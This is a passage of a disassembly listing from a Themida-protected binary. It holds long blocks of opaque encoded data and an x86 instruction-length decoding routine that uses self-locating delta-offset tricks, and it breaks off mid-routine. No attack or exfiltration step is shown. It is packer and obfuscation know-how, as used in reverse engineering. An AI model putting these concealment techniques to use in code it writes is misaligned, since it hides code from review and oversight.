		dd 0C7198C00h, 0FBDB3B86h, 1F0601D4h, 80D22BDCh, 34FF64F0h
		dd 5FCC8A1Ah, 7E9h, 5879F100h, 1FD58DF7h, 0A30BEF81h, 0AB85082h
		dd 81367635h, 0B497EDC7h, 0C6EF8155h, 0E9596F26h, 0Fh
		dd 0CAEC4D14h, 0CAE7C998h, 0D565C01h, 570B638Dh, 48FC68Bh
		dd 15BEBE13h, 8E0F7E9Fh, 0Dh, 356BBF60h, 8C0F3A65h, 0
		dd 2EA8361h, 0BCD48056h, 814A4A58h, 0A64CA7DEh,	94FA815Eh
		dd 0FFFFF96h, 0FFFF8985h, 8DEE8AFFh, 1069BD8Dh,	89E4B306h
		dd 0B174D8Dh, 8D096006h, 60B0051h, 0C7614AB1h, 0B011985h
		dd 647406h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0B58B7F43h, 60B2F29h, 0DE9h, 0F8113800h
		dd 5BA1351Dh, 29FE7348h, 85C7DE98h, 60B1009h, 0
		dd 5DB52B50h, 5B060B08h, 0B5FF5B57h, 60B1AA9h, 14E9h, 0E780E200h
		dd 3894BDCBh, 7DC86CFDh, 0BFCA8D2Ah, 66718B72h,	0ED858B62h
		dd 0FF060B19h, 0B0AC595h, 14E906h, 541E0000h, 0B744E9A8h
		dd 5CFFEC70h, 45EF5574h, 0BD6BCAF1h, 6AB474h, 32DD95FFh
		dd 0C08B060Bh, 0C074FEBh, 0A008D39Fh, 6C3AD078h, 97D7163Fh
		dd 0C5C72EB9h, 0CB6EAD0Bh, 0E4B90DCAh, 633CF005h, 6A1DF768h
		dd 0B3DE9184h, 555A46ADh, 805A23F5h, 0DAA6F02Fh, 0EAD92CE4h
		dd 6427F937h, 625378E9h, 538C51DDh, 760F6A56h, 160DA97Ah
		dd 361E4195h, 157E953h,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0BE913C3h, 73000000h
		dd 6763C9ACh, 8BB8647h,	0E960C3B8h, 9, 960A9845h, 0EDE7F23Ah
		dd 611CB4EAh, 6AAEB58Dh, 0CE90610h, 2E000000h, 0EAE0B2D5h
		dd 1D784338h, 8D2BF3B5h, 0E4D7E85h, 0CE906h, 0F0500000h
		dd 0FF221291h, 13DCFAF2h, 0D0FF18C9h, 1840Fh, 0C3F50000h
		dd 0BE860h, 43310000h, 0D6BD6D83h, 0A3324C73h, 0D9BF0F5Fh
		dd 0A291B85Eh, 0F613392h, 18Eh,	8C66FC00h, 59BE60D9h, 0E847E702h
		dd 6, 0CE905D72h, 13E9F0BBh, 0A4000000h, 0C70D4059h, 0D13607Ah
		dd 5D94C0E8h, 4C35F612h, 6158D54Ch, 0F04C1F6h, 3F84h, 1850F00h
		dd 0FC000000h, 0CB8BFB8Bh, 75AEC032h, 0F7CF2BFDh, 8BF92BD9h
		dd 0D98B49D7h, 20CD00EBh, 1013Fh, 1874C00Bh, 8B0C708Dh
		dd 0A6CB8BFAh, 75490A75h, 1B8FAh, 9EB0000h, 0E4EB008Bh
		dd 0B8h, 6660CF00h, 0B1E4C781h,	860F6061h, 6, 800Fh, 13E80000h
		dd 7F000000h, 0A2C0E6E1h, 9FA25DA4h, 48032F29h,	3DBFBB6Bh
		dd 10E9B2AEh, 53000000h, 0A32890C7h, 61E5914Dh,	83008782h
		dd 59EA00D8h, 485C761h,	3F06106Bh, 0E9000101h, 13Ch, 4Fh dup(0)
		dd 2859BD83h, 0F01060Bh, 45F84h, 8A0F6000h, 5, 0CA4844BAh
		dd 488CBF66h, 0C6611BF9h, 0B284585h, 13E94306h,	12000000h
		dd 0A74BE0D9h, 890EB4C7h, 0EC67A255h, 9D39F7A4h, 8D68F2DDh
		dd 0FFBCF2Eh, 1285h, 0F525000h,	8Eh, 50310F00h,	5A310F52h
		dd 81585A58h, 0FE782434h, 0FFFC176Ah, 0B1355B5h, 0C850F06h
		dd 0F000000h, 684h, 840F00h, 8D000000h,	0E7D1885h, 0CE906h
		dd 0CBDA0000h, 38333106h, 3F8FF292h, 0D0FF3093h, 61D48A60h
		dd 28F18589h, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0F3BC1FC3h, 0B368BF00h, 8060B177h
		dd 0FE8FCEAh, 1A000000h, 94A2100Ah, 3D40A9F7h, 0C9319C79h
		dd 0BA6648BEh, 615A6A1Eh, 284585C6h, 0F950060Bh, 3EF8160h
		dd 61428950h, 32297B68h, 11E956h, 667C0000h, 953ECDC7h
		dd 0E5C521D9h, 91B9001Dh, 81D5A739h, 83DB2404h,	0FFF5527Bh
		dd 0B1355B5h, 858DF806h, 60E7D18h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 66C35242h, 0EB4F0DD8h, 0A6C77996h
		dd 0B8C0FF7h, 60000000h, 0CBFFF081h, 0D18009B3h, 0D0FF61BBh
		dd 0C870F60h, 0E8000000h, 6, 7EE82B4Eh,	505F69E2h, 615AA8B5h
		dd 1F598589h, 0AE9060Bh, 33000000h, 0A83C07BCh,	1480B9E1h
		dd 0CA68F8C3h, 50DA8189h, 6870F52h, 0F000000h, 89h, 60310F00h
		dd 6E96160h, 97000000h,	37C740D3h, 585A61CCh, 0E5243481h
		dd 0F2A0E21h, 28Bh, 0FF616000h,	0B1355B5h, 1820F06h, 0FC000000h
		dd 7D18858Dh, 14E9060Eh, 0A3000000h, 0CAEB332Ah, 690852Dh
		dd 73D3B8F8h, 6F62651Bh, 0FF860E5Bh, 6E9D0h, 7ACE0000h
		dd 9DA59DD1h, 21718589h, 6A060Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0B9EB98C3h, 6E9h, 7AD03800h
		dd 0C6A18243h, 0B284585h, 0E8F95006h, 4, 979CDC56h, 0CE960h
		dd 0B52E0000h, 89FAC1C6h, 0AC249499h, 8B661668h, 505061D8h
		dd 0CE952h, 99450000h, 0E24EC6D8h, 1E0A90D9h, 310F8B09h
		dd 0F525060h, 8B585A31h, 585A61CAh, 424448Bh, 0DE860h
		dd 65ED0000h, 0AB825DC4h, 33CD7AD2h, 57F1ADF4h,	8B615F5Ah
		dd 12820F00h, 50000000h, 0F525052h, 0F585A31h, 860F31h
		dd 5A000000h, 24448958h, 9E904h, 1A1F0000h, 52A2AE6Dh
		dd 589CC33Dh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	0D4C35242h, 1B5FFF8h, 60060B0Bh, 2890Fh, 61600000h
		dd 0B70F6061h, 5F5750F0h, 858D6158h, 60B390Dh, 7830Fh
		dd 0B8600000h, 7F10A19h, 60D0FF61h, 2840Fh, 0FE8B0000h
		dd 3CDABF66h, 45858961h, 0E9060B2Eh, 13h, 0E7C2303Eh, 6ED831FDh
		dd 0DB37EC48h, 0BF937CE7h, 0E99C6A85h, 13Ch, 0CE9h, 0DB564200h
		dd 724615F4h, 365B376Ch, 8D0F5056h, 0Ch, 6890Fh, 860F0000h
		dd 0
		dd 0F242C89h, 18Ch, 0EC8BFC00h,	12E9h, 0F92FBF00h, 8268286Fh
		dd 2EEE8888h, 8774C66Eh, 8367F792h, 60F9FCC4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 8DC35242h, 18E0FEFh
		dd 0F9000000h, 0E8h, 0EA815A00h, 610705Dh, 0FC45C7h, 83000000h
		dd 0B2859BAh, 840F0106h, 98h, 6A006A52h, 0F192FF0Fh, 5A060B28h
		dd 6B7C8289h, 9A8D0610h, 6106B80h, 2803C752h, 53000001h
		dd 5992FF50h, 5A060B1Fh, 809A8D52h, 5306106Bh, 6B7CB2FFh
		dd 92FF0610h, 60B2E45h,	74C00B5Ah, 809A8D50h, 8D06106Bh
		dd 0C933247Bh, 104F981h, 0D4740000h, 393C8141h,	4558452Eh
		dd 348DEE75h, 0C752B39h, 2B7DBA8Dh, 4D8B060Bh, 32A4F30Ch
		dd 0FF52AAC0h, 828D0875h, 60B2B7Dh, 7192FF50h, 5A060B21h
		dd 0A075C00Bh, 1FC45C7h, 0EB000000h, 0FC45C707h, 0
		dd 0FC458B61h, 8C2C9h, 6E9h, 40E66100h,	0F52B12D0h, 9E8D28Bh
		dd 1C000000h, 82A2BEE3h, 322CA78Ah, 58CFB70Fh, 0EE9h, 0FDC2F600h
		dd 5C1114BEh, 0D704DAC6h, 81C1CFA5h, 6B52C0h, 0BEEC8A00h
		dd 42701B0Fh, 1AEF681h,	14E94270h, 92000000h, 1DECAE0Fh
		dd 53185641h, 0FC221182h, 40A73ECFh, 0FFD8C74Bh, 89ABF30h
		dd 805A5140h, 0C28174D3h, 0D454550h, 19880Fh, 0E9600000h
		dd 0Ch,	0D9D2B841h, 9F301120h, 0F623B197h, 691DD181h, 816164A3h
		dd 0C85E77F2h, 0F810F28h, 0E8000000h, 6, 1D1732B8h, 0C180914Ah
		dd 0C2815BEAh, 194EFAC4h, 60E38A60h, 0D38682BAh, 6161F515h
		dd 0F7816652h, 8F7CDFh,	0F9D38166h, 3E88349h, 48D88B66h
		dd 43C1C781h, 0EE811052h, 1, 0FF7D850Fh, 0C980FFFFh, 0EE848h
		dd 0DB10000h, 0DE9D32Eh, 79FE43D6h, 0F0AF291Fh,	0F08B6657h
		dd 8B665958h, 0E9C181F3h, 6600005Fh, 0C868C18Bh, 0BB000017h
		dd 6677ADEDh, 5E95Ah, 7CB60000h, 0FF802F50h, 3870F31h
		dd 80000000h, 0F5F29E3h, 0C781D9BFh, 67AD4F3Bh,	0EE8h
		dd 3F484700h, 0C2D4A6D2h, 0CC8A7923h, 520F62C5h, 0FE9h
		dd 76028C00h, 67E14E97h, 5D96E7E5h, 0B1E6402Ch,	0C7815E58h
		dd 28CBCEC4h, 0FBB86657h, 0EF815E68h, 0F68DEDBh, 0A4F48060h
		dd 0B4CF8166h, 6657611Dh, 18FD88Bh, 0E981F28Bh,	40B9D341h
		dd 54E88166h, 3DC1812Ah, 0E940B9D3h, 12h, 0A79B1F1Bh, 79E63817h
		dd 0A2C674F7h, 0D0FD14BAh, 0EA83B789h, 6C850F01h, 66FFFFFFh
		dd 0D0956DBBh, 3EA1813h, 64A6744Ah, 0A2F281AEh,	83069571h
		dd 187AE935h, 0A7FC3870h, 48817B85h, 3330585h, 79444E24h
		dd 4D203A78h, 6C382188h, 363C3933h, 0D9333838h,	94DA6C80h
		dd 79333836h, 3B3338BCh, 0AC8EBB35h, 0CE35333Bh, 6703BC3Ah
		dd 65B23835h, 9AD3F8BDh, 0EC3062DCh, 20335235h,	3B333BDDh
		dd 5E6D1835h, 0EA47B16Bh, 4377B931h, 0B3332031h, 1A657E35h
		dd 409DF759h, 9FB25E8Fh, 0BEBEE96Eh, 9B234ADAh,	0CE2AB93Ah
		dd 76DB3835h, 0F333835h, 0B20CEFBBh, 0BD11DC65h, 539ED8DEh
		dd 0E19FF6CEh, 0CD6C5955h, 0CE332BDCh, 9D6AF635h, 7C4429C4h
		dd 2ECDA1B6h, 0A0C34D56h, 53403D8Ch, 51173CBCh,	9EDB6935h
		dd 0EE333835h, 0EE6AFB6Ch, 32371C79h, 0CD371C71h, 0AD333835h
		dd 79BFFB64h, 3B333EB9h, 0C8DCB935h, 0A8700A52h, 0A195F1B4h
		dd 0C1E2BDB8h, 66553E25h
dword_593468	dd 0BEA39540h, 0A105DB8Bh, 5D636673h, 92A3C2BEh, 0CE332BB2h
					; DATA XREF: Themida_:0054B6AAo
		dd 6BDA6B35h, 5B333835h, 7457134Fh, 0A95B6914h,	2F9722B1h
		dd 3E1EADCAh, 9D593E3Eh, 0CE30D064h, 3E133835h,	0FFBA61F6h
		dd 9DB23C11h, 0EC2B3C11h, 27723835h, 3C0BD6F6h,	9ADBBA9Dh
		dd 41333835h, 0B077E9Ah, 7DB35284h, 19B86144h, 0E31F8653h
		dd 738E85B6h, 4E333E3Eh, 4C8EBB3Ch, 0CE35331Ch,	34632141h
		dd 0C98BF8BEh, 50333831h, 0E7190DB0h, 6CAEB533h, 0C4353586h
		dd 1E6B63E6h, 0C51AE988h, 70473833h, 0C98B6B65h, 50333831h
		dd 0E7190DB0h, 7FAEB533h, 0C4353585h, 746B63E6h, 0CE333839h
		dd 298130Ah, 3DEC1A07h,	75989C85h, 0BB668753h, 0F1F4B953h
		dd 0B6F3B384h, 8D41E1A8h, 98335233h, 67333BDDh,	706D1835h
		dd 0FD47B16Bh, 0C877B931h, 76332231h, 0F8657E35h, 2EE16230h
		dd 361FB854h, 0D67BDB8h, 323C3E25h, 0D9333820h,	0EC3328DCh
		dd 28803935h, 0F894BF5Ah, 0BB270D7Bh, 4D2643B5h, 0DE3C72Ah
		dd 0B0DB6B35h, 0F9333835h, 6568FB6Eh, 0F7371C69h, 21371C71h
		dd 0DE333835h, 699CFB66h, 2D8D038Eh, 218D5EC1h,	0D927D0DCh
		dd 50A93835h, 70FC689h,	640F5444h, 875EF65Fh, 5C20D726h
		dd 0D03C517Eh, 733862CAh, 0D92ABC3Ah, 61CA3835h, 7D7EEFA8h
		dd 0E9B25E33h, 9E8B9AB3h, 0A8333835h, 984ACB8Ah, 3E696ED6h
		dd 0C941D9A8h, 69BEC133h, 70235261h, 0C4C08F3Ah, 0CB3352E5h
		dd 0CE333BDDh, 0A46D1835h, 9747B16Bh, 0FD77B931h, 0EC332331h
		dd 0B5657E35h, 12EC8B85h, 5307A05Ah, 27C4B353h,	67333827h
		dd 0FA730DA7h, 3E76E5DBh, 526BC203h, 57B3747Ch,	0FB387DDBh
		dd 9D0ABC3Ah, 7E823835h, 2AE4A5B8h, 41B23E3Eh, 0E3C9FCF4h
		dd 0EC33398Dh, 1CD0C735h, 38DB6D35h, 0BD333835h, 476EFB68h
		dd 0E6371C59h, 0A5371C71h, 9C333835h, 0E260FB60h, 2ED9B99Bh
		dd 0B6624753h, 8D41DEA8h, 248C5E33h, 33B6B5EFh,	0BC35285Fh
		dd 9CCF182h, 463385Fh, 76333836h, 63F06015h, 99177CBCh
		dd 0CA177CB4h, 6733382Dh, 0C6F06875h, 3D7A3EA6h, 0EC20BC3Ah
		dd 7DDB3835h, 11333835h, 0FA85A51Dh, 31D6715h, 3D62252Ah
		dd 0BCF3336Ch, 0D93366B1h, 0EC3DD035h, 0A23D3835h, 22FF461Fh
		dd 4AC699B2h, 0A50E5259h, 0EA69C8BEh, 0B87EEFA8h, 88335233h
		dd 0EC333BDDh, 0B56A1835h, 1F7FB16Ch, 0B977B931h, 0CE332531h
		dd 0A4627935h, 66234BCFh, 0CBD12B1h, 7A890627h,	0CE0C25B3h
		dd 3B333836h, 6FD58753h, 423CDBCAh, 67333832h, 0B332B53Ah
		dd 9ACB3835h, 463385Fh,	76333836h, 63F06015h, 99177CBCh
		dd 0CA177CB4h, 67333821h, 0F9F06875h, 0D932B03Ah, 61CB3835h
		dd 6641F788h, 0F8BEB533h, 25352843h, 44786448h,	4C1EBD06h
		dd 7C183E3Eh, 3E31D1F4h, 0C941D9A8h, 69BEC133h,	70235261h
		dd 0C4C08F3Ah, 0CB3352E5h, 83333BDDh, 0A4F305E9h, 6AC08Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 2C1F16C3h, 0AC22A18Ah, 0F87B46Eh, 6AD0B7h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0F50E28C3h
		dd 8B666E8Eh, 48F0FC3h,	66000000h, 8BBC6DBEh, 0CE9C0h
		dd 46600000h, 565107D7h, 0A7860BA8h, 13E9CA18h,	0B6000000h
		dd 0DA8EE952h, 6167CBCh, 287E6E96h, 4961BA91h, 0BD83C83Dh
		dd 60B05BDh, 83097500h,	0B29D1BDh, 19740006h, 0C08B5350h
		dd 47AB8h, 99858900h, 8D060B12h, 0DB3819Dh, 5BD3FF06h
		dd 0D1BD8358h, 60B29h, 53501774h, 47AB8h, 99858900h, 8D060B12h
		dd 0DB0229Dh, 5BD3FF06h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0AD3C7ABBh, 0E9C05149h
		dd 5, 0AE793F75h, 8DC08BB6h, 1078568Dh,	4D8D8906h, 57060B17h
		dd 8E8h, 18874A00h, 8B8C29AAh, 0C7585A7Bh, 0B011985h, 743006h
		dd 68C0F00h, 9000000h, 0B15B58Dh, 985C706h, 60B10h, 8B000000h
		dd 0B0DF985h, 5B5FF06h,	6A060B27h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 82B1C352h
		dd 0AE4D6EB7h, 2FBB6642h, 0C595FF8Dh, 6A060B0Ah, 0DD95FF00h
		dd 8B060B32h, 506BEBC0h, 0BE598A54h, 0E6E775D8h, 355A26FEh
		dd 51458F78h, 0E692C404h, 853C12F3h, 8EC48009h,	0C4D0E24Fh
		dd 31D8BA5Eh, 8E6DFA2Dh, 41E22696h, 6917CADh, 22C0662Fh
		dd 16A93595h, 0C08F4D89h, 2A7BDF75h, 76C428DBh,	433B4E11h
		dd 0AD6E2CDh, 0FAE0A264h, 0D1A4A6A2h, 16B27B07h, 0AFC5332Ch
		dd 0E793845Ch, 2987D124h, 16BA9427h, 66E9EE64h,	60000002h
		dd 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 60B0B01h, 7D18858Dh
		dd 0D0FF060Eh, 0F558589h, 0FE8B060Bh, 680CEFC1h, 20060000h
		dd 26A006Ah, 0D6857h, 95FF0001h, 60B0F55h, 32E9h, 4585C600h
		dd 56060B28h, 0C530DF68h, 55B5FFA9h, 8D060B13h,	0E7D1885h
		dd 89D0FF06h, 0B33A185h, 61858D06h, 50060B0Bh, 56A406Ah
		dd 0A195FF56h, 61060B33h, 0C3h,	2 dup(0)
		dd 0D48B5200h, 8428B60h, 79498589h, 428B0610h, 4185890Ch
		dd 8B061079h, 85891042h, 6107945h, 797FB58Dh, 858D0610h
		dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 107949B5h, 41858B06h
		dd 83061079h, 107945BDh, 840F0006h, 7, 2E90689h, 88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 49858908h, 8D061079h, 1079D0B5h
		dd 35858D06h, 0FF005B7Eh, 8B5A61D0h, 10794985h,	4C206h
		dd 7949858Bh, 8B0610h, 79498589h, 0CF0610h, 60000000h
		dd 79A6B589h, 85890610h, 61079A2h, 43D858Dh, 408B060Bh
		dd 0DF858944h, 8D061079h, 107A15B5h, 35858D06h,	0FF005B7Eh
		dd 858B61D0h, 61079A6h,	0A29D8BC3h, 0F061079h, 33C43B7h
		dd 785B8BD8h, 79A29D03h, 738B0610h, 0A2B50324h,	56061079h
		dd 8B207B8Bh, 0BD031C73h, 61079A2h, 79A2B503h, 83FC0610h
		dd 8B41FFC9h, 1079A69Dh, 3178B06h, 1079A295h, 4C78306h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 1079A285h,	0A6858906h, 8B061079h, 8BCE8BF0h
		dd 0DFBD81C1h, 61079h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 61079DFh
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 0DFBD8100h
		dd 61079h, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 61079DFh, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 4D858DCFh
		dd 89061079h, 0B088585h, 0E3858D06h, 89061079h,	0B131185h
		dd 0AA858D06h, 89061079h, 0B027985h, 0ED8D8D06h, 0B006107Bh
		dd 4D8D892Eh, 6A060B17h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 8938C351h, 3820F6Fh
		dd 66000000h, 0C6BFF08Bh, 0C76D1720h, 0B011985h, 627006h
		dd 9858900h, 0C7060B08h, 0B100985h, 6, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 24BDDACh, 7568618Bh,	2173CB81h, 0B5FF7678h, 60B0DA5h
		dd 16799533h, 95FF060Bh, 60B0AC5h, 6AD88Bh, 32DD95FFh
		dd 0C08B060Bh, 0B1D82AEBh, 0A537E61Eh, 32D9246Fh, 17C12D8Eh
		dd 6D4AA1A2h, 0FDE2CA1Eh, 0CEB1289Eh, 0E64FB2CAh, 0C10376D6h
		dd 0AFC6F8Dh, 2129C9C2h, 13E8h,	0BB412800h, 22A4B94Dh
		dd 37410C91h, 677D9F16h, 156BA231h, 56412FBAh, 52565904h
		dd 0B54DDA81h, 5A5A3458h, 6071C181h, 0BD230000h, 60B33A9h
		dd 68h,	5E92B200h, 1B25B529h, 48B060Bh,	0D68B6631h, 5CC3C081h
		dd 0BA6639CFh, 0E881FFE1h, 4B4679DBh, 0CD9BD8Bh, 0F081060Bh
		dd 6FC409E3h, 8E9h, 1244CE00h, 0F1923137h, 48F5039h, 850F31h
		dd 66000000h, 0EE81D68Bh, 557816C8h, 813BF680h,	7816C4C6h
		dd 0FA8B6655h, 0A040FE81h, 850FFFFFh, 0FFFFFFA6h, 14E8h
		dd 10FCDD00h, 6273EC44h, 1885E5BDh, 1CBE3518h, 0DB6C567Dh
		dd 4ABF661Ah, 0C8E95A32h, 88000001h, 7 dup(88004188h)
		dd 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 1000000h, 14h dup(0)
		dd 0C3000000h, 77ED6380h, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	107EAEEDh, 85C76006h
		dd 6107DFBh, 0
		dd 663E8166h, 0F850FA1h, 0C7000000h, 107DFF85h,	606h, 24E900h
		dd 858D0000h, 6107E03h,	53858D50h, 5006107Eh, 0E8006A56h
		dd 1Dh,	2510C483h, 0FFh, 7DFF8589h, 3610610h, 107DFFB5h
		dd 0FB858B06h, 5D06107Dh
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_593FDE
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_593FEA
; ---------------------------------------------------------------------------

loc_593FDE:				; CODE XREF: Themida_:00593FC7j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4

loc_593FEA:				; CODE XREF: Themida_:00593FD9j
		push	ebx
		push	esi
		push	edi

loc_593FED:				; CODE XREF: Themida_:00594042j
					; Themida_:0059405Ej ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl

loc_594000:				; CODE XREF: Themida_:00594027j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6107F65h
		lea	ebp, [ebp+6107DDBh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_59402D
		inc	cl
		cmp	cl, 0Bh
		jb	loc_594000

loc_59402D:				; CODE XREF: Themida_:0059401Cj
		cmp	cl, 0Bh
		jz	loc_59408A
		cmp	al, 66h
		jnz	loc_59406B
		cmp	byte ptr [ebp-5], 0
		jnz	loc_593FED
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_594063
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_593FED
; ---------------------------------------------------------------------------

loc_594063:				; CODE XREF: Themida_:00594050j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4

loc_59406B:				; CODE XREF: Themida_:00594038j
		cmp	al, 67h
		jnz	loc_593FED
		cmp	byte ptr [ebp-6], 0
		jnz	loc_593FED
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_593FED
; ---------------------------------------------------------------------------

loc_59408A:				; CODE XREF: Themida_:00594030j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5940B6
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5940BB
; ---------------------------------------------------------------------------

loc_5940B6:				; CODE XREF: Themida_:00594095j
		movzx	edi, al
		shr	edi, 1

loc_5940BB:				; CODE XREF: Themida_:005940B1j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 610801Dh
		lea	ebp, [ebp+6107CDBh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_59423D
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_594181
		dec	ecx
		jz	loc_594164
		dec	ecx
		jnz	loc_5941D4
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5941D0
		cmp	byte ptr [ebp-5], 0
		jz	loc_594143
		mov	byte ptr [ebp+0Bh], 2

loc_594143:				; CODE XREF: Themida_:00594139j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61080A9h
		mov	dword ptr [ebp+6107DFBh], 1
		pop	ebp
		jmp	loc_5941D4
; ---------------------------------------------------------------------------

loc_594164:				; CODE XREF: Themida_:0059411Ej
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5941AE
		cmp	byte ptr [ebp-5], 0
		jz	loc_5941AE
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5941AE
; ---------------------------------------------------------------------------

loc_594181:				; CODE XREF: Themida_:00594117j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5941C7
		cmp	byte ptr [ebp-5], 0
		jz	loc_5941B6
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5941AE
		mov	[ebp+0Bh], cl

loc_5941AE:				; CODE XREF: Themida_:00594168j
					; Themida_:00594172j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5941D4
; ---------------------------------------------------------------------------

loc_5941B6:				; CODE XREF: Themida_:0059418Fj
		cmp	dl, 5
		jnz	loc_5941D4
		mov	[ebp+0Bh], dl
		jmp	loc_5941D4
; ---------------------------------------------------------------------------

loc_5941C7:				; CODE XREF: Themida_:00594185j
		cmp	dl, 6
		jnz	loc_5941D4

loc_5941D0:				; CODE XREF: Themida_:0059412Fj
		mov	byte ptr [ebp+0Bh], 3

loc_5941D4:				; CODE XREF: Themida_:00594125j
					; Themida_:0059415Fj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_594202
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx

loc_5941E4:				; CODE XREF: Themida_:005941FAj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5941E4
		mov	esi, edx

loc_594202:				; CODE XREF: Themida_:005941D7j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_594237
		cmp	edi, 7Fh
		ja	loc_594237
		test	bl, 38h
		jnz	loc_594237
		cmp	byte ptr [ebp-7], 0
		jz	loc_594231
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_594234
; ---------------------------------------------------------------------------

loc_594231:				; CODE XREF: Themida_:00594222j
		push	1
		pop	eax

loc_594234:				; CODE XREF: Themida_:0059422Cj
		mov	[ebp-1], al

loc_594237:				; CODE XREF: Themida_:00594206j
					; Themida_:0059420Fj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]

loc_59423D:				; CODE XREF: Themida_:005940E7j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_594268
		dec	eax
		dec	eax
		jz	loc_59425E
